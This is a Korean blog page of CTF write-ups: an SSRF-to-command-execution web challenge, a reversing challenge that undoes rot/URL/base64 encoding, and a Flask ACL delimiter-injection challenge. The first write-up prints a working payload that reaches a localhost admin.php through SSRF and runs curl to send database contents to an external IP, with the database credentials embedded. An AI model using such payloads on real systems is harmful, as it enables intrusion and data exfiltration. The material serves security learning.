문제에 들어가서 페이지 돌아다니다보면 css파일을 다운로드할때 파일 다운로드 취약점이 터진다. 이걸로 전체 소스를 쭉 가져와서 보면 util.php 라는 파일에서 취약점이 보인다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            }


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


해당 파일의 render 함수는 내가 작성한 게시글을 읽을 때 게시글 내용을 인자로 받아 호출되는데 해당 함수 내에서 아래 코드의 url 부분에 게시글 내용을 삽입시킬 수 있어 ssrf가 터진다.

preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

      

for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();


curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);


이걸로 뭘 할수 있는지 이제 생각해보면 되는데 게싱으로 admin.php 페이지를 발견했고 해당 페이지 코드는 아래와 같았다.


admin.php


<?php

    if(in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))){

        system($_GET['cmd']);

    }

?>


이제 ssrf로 admin.php 페이지를 요청해서 system함수를 사용해주면 된다.


명령어 실행결과를 nc로 받아주면되고 플래그가 DB에 있어서 디비에서 뽑아주면 된다.


Payload

[link]http://127.0.0.1/admin.php?cmd=curl%20http://125.180.217.107:9090%20-d%20%22a=`php%20-r%20%22var_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','jjcode','jjcode1234','jjcode'),'select%20*%20from%20fl4g_here_hahahaha.fl4g_b0x_box')));%22`%22[/link]


Flag = flag{hel1o_fl4g_y0u_g3t_1t~XD}




'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 FindMe

CTF/Writeup 2019. 2. 6. 11:58

바이너리를 실행해보면 키 값을 입력받아 총 3개의 함수를 거쳐 여러가지 연산을 한다. 



먼저 첫번째 함수를 보면 다음과 같이 알파벳들에 대해 간단한 rotate 연산을 한다.



두번째 함수와 세번째 함수와 같은 경우 코드가 복잡해서 디버깅을 통해 리턴값을 확인해보니 두번째 함수는 몇몇 특수문자들에 대한 URL Encoding을 하고있었고, 세번째 함수는 base64 인코딩을 하고 있었다.


위 세 함수를 거친 값을 dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6 요놈과 비교해주기 때문에 간단히 역연산 해주는 코드를 아래와 같이 짜서 돌려줬다.


import urllib2

result = "dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6".decode("base64")

result = urllib2.unquote(result).decode('utf8')

dec = ""

for i in range(0,len(result)):

    if ord(result[i])>64 and ord(result[i])<=90:

        dec += chr((ord(result[i])-52)%26+65)

    elif ord(result[i])>96 and ord(result[i])<=122:

        dec += chr((ord(result[i]) - 84) % 26 + 97)

    else:

        dec += result[i]

print dec


Flag = http://evlz{url_seems_rotten_with_64}ctf.com

'CTF > Writeup' 카테고리의 다른 글

Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

기본적으로 소스코드를 제공해준다.


  1. """
  2.     Web App with file based ACL.
  3. """
  4.  
  5. import os
  6. import struct
  7.  
  8. from flask import Flask, request, render_template, abort, flash, redirect, url_for
  9.  
  10. """
  11.     Flask Config
  12. """
  13. app = Flask(__name__)
  14. app = Flask(__name__)
  15. app.config['DEBUG'] = False
  16. app.secret_key = ""
  17.  
  18. FLAG = '??'
  19.  
  20. class ACL(object):
  21.     """
  22.     Intent:
  23.         ACL for the Application
  24.  
  25.     Responsibilities:
  26.         - Add New Records to ACL
  27.         - Verify existing records in ACL
  28.  
  29.     Data Structures
  30.         - record
  31.           {
  32.               'username': <str>username[100],
  33.               'password': <str>password[100],
  34.               'admin': <str:`true/false`>admin
  35.           }
  36.     """
  37.  
  38.     DEFAULT_ACL_FILE = 'acl.data'
  39.  
  40.     def __init__(self, *args, **kwargs):
  41.         """
  42.         ACL(, [file_name, ])
  43.         :param str file_name kwarg
  44.         """
  45.         self.acl_file = kwargs.get('acl_file', self.DEFAULT_ACL_FILE)
  46.         self.acl_lines = self._read_acl_file()
  47.  
  48.     """
  49.         Writing Methods
  50.     """
  51.     @staticmethod
  52.     def _pack_data(data_dict):
  53.         """
  54.             Pack data with data_structure.
  55.         """
  56.         return '{}:{}:{}'.format(
  57.                                     data_dict['username'],
  58.                                     data_dict['password'],
  59.                                     data_dict['admin']
  60.                                 )
  61.  
  62.     @staticmethod
  63.     def _append_data(filename, data):
  64.         """
  65.             write `data` to filename as binary data.
  66.         """
  67.         with open(filename, 'a') as f:
  68.             f.write(data)
  69.             f.write('\n') # New Line Delimiter
  70.  
  71.     def _append_record(self, data_dict, *args, **kwargs):
  72.         """
  73.             Pack data and append to file.
  74.         """
  75.         bin_data = self._pack_data(data_dict)
  76.  
  77.         self._append_data(self.acl_file, bin_data)
  78.  
  79.     def add_record(self, username, password, admin, *args, **kwargs):
  80.         """
  81.             Add record to ACL.
  82.             - Client Facing
  83.         """
  84.         record = {
  85.             'username': username,
  86.             'password': password,
  87.             'admin': admin
  88.         }
  89.  
  90.         self._append_record(data_dict=record)
  91.  
  92.         return record
  93.  
  94.     def _read_acl_file(self):
  95.         """
  96.             Read all the lines in `self.acl_file`
  97.         """
  98.         if not os.path.exists(self.acl_file):
  99.             return None
  100.  
  101.         with open(self.acl_file, 'r') as f:
  102.             lines = f.readlines()
  103.  
  104.         return lines
  105.  
  106.  
  107.     def _unpack_data(self, buffer):
  108.         """
  109.             Unpack the buffer and extract contents.
  110.         """
  111.         unpacked_data = buffer.strip()
  112.         unpacked_data = unpacked_data.split(':')
  113.  
  114.         record = {
  115.             'username': unpacked_data[0],
  116.             'password': unpacked_data[1],
  117.             'admin': unpacked_data[2],
  118.         }
  119.         return record
  120.  
  121.  
  122.     def verify(self, username, password):
  123.         """
  124.             Verify if username and password exist in ACL.
  125.             - Client Facing
  126.         """
  127.         for line in self.acl_lines:
  128.             try:
  129.                 data = self._unpack_data(line)
  130.             except:
  131.                 continue
  132.  
  133.             if username == data['username'] and password == data['password']:
  134.                 return True, data
  135.  
  136.         return False
  137.  
  138.  
  139. acl = ACL()
  140.  
  141. @app.route('/', methods=['GET', 'POST'])
  142. def index():
  143.     if request.method == 'GET':
  144.         return render_template('index.html', admin=False, flag=FLAG)
  145.     elif request.method == 'POST':
  146.         try:
  147.             username = request.form.get('username')
  148.             password = request.form.get('password')
  149.             is_user, record = acl.verify(username, password)
  150.             print(is_user)
  151.             if is_user:
  152.                 admin = True if record['admin'] == 'true' else False
  153.             else:
  154.                 raise Exception()
  155.             return render_template('index.html', admin=admin, flag=FLAG, record=record)
  156.         except:
  157.             return redirect(url_for('index'))
  158.  
  159. @app.route('/register', methods=['GET', 'POST'])
  160. def register():
  161.     if request.method == 'GET':
  162.         return render_template('register.html')
  163.     elif request.method == 'POST':
  164.         username = request.form.get('username')
  165.         password = request.form.get('password')
  166.         acl.add_record(username, password, 'false')
  167.  
  168.         return redirect(url_for('index'))
  169.  
  170. if __name__ == '__main__':
  171.     app.run(port=5000, debug=True)



_unpack_data 함수 내에서 데이터를 언패킹하는 과정에서 취약점이 터진다. 간단히 : 문자를 기분으로 split하기 때문에 회원가입 시 패스워드를 youngin:true 형태로 가입해 주면 된다.


그러면 기본적으로 youngin:youngin:false와 같은 구조가 youngin:youngin:true:false가 된다.


위와 같은 형태로 가입 후 id:youngin,pw:youngin 으로 로그인 해주면 되는데 이때 회원가입시 요청한 데이터가 들어가 있는 self.acl_lines 요 값이 로컬에서 테스트해보니 항상 일정하지가 않아서 내가 삽입한 데이터가 존재하지 않는 경우가 있었다.. 그래서 위와 같은 로그인을 여러번 반복해서 해주니 플래그가 나왔다.



Flag = evlz{T#3_W34K_$N4K3}ctf










'CTF > Writeup' 카테고리의 다른 글

Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,